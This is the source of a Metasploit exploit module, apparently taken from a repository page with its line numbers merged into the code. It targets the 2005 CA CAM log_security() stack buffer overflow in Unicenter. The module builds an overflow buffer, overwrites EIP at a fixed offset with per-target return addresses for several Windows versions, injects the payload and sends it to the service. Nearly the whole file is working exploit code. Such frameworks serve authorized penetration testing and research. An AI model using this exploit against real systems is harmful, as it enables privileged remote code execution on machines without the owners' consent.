Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
31199 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',15'Description' => %q{16This module exploits a vulnerability in the CA CAM service17by passing a long parameter to the log_security() function.18The CAM service is part of TNG Unicenter. This module has19been tested on Unicenter v3.1.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24['CVE', '2005-2668'],25['OSVDB', '18916'],26['BID', '14622'],27],28'Privileged' => true,29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00",32'StackAdjustment' => -350033},34'Targets' => [35# W2API.DLL @ 0x01950000 - return to ESI36['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],3738# Return to ESI in ws2help.dll39['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],40['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],41['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],42['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],43],44'DisclosureDate' => '2005-08-22',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def check56connect57ack = sock.get_once || ''58disconnect5960(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe61end6263def exploit64connect6566ack = sock.get_once67if (ack != "ACK\x00")68print_status('The CAM service is not responding')69end7071buf = rand_text_english(4096, payload_badchars)7273# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI74buf[1016, 4] = [target.ret].pack('V')75buf[1052, payload.encoded.length] = payload.encoded7677sock.put("\xfa\xf9\x00\x10" + buf + "\x00")7879handler80disconnect81end82end838485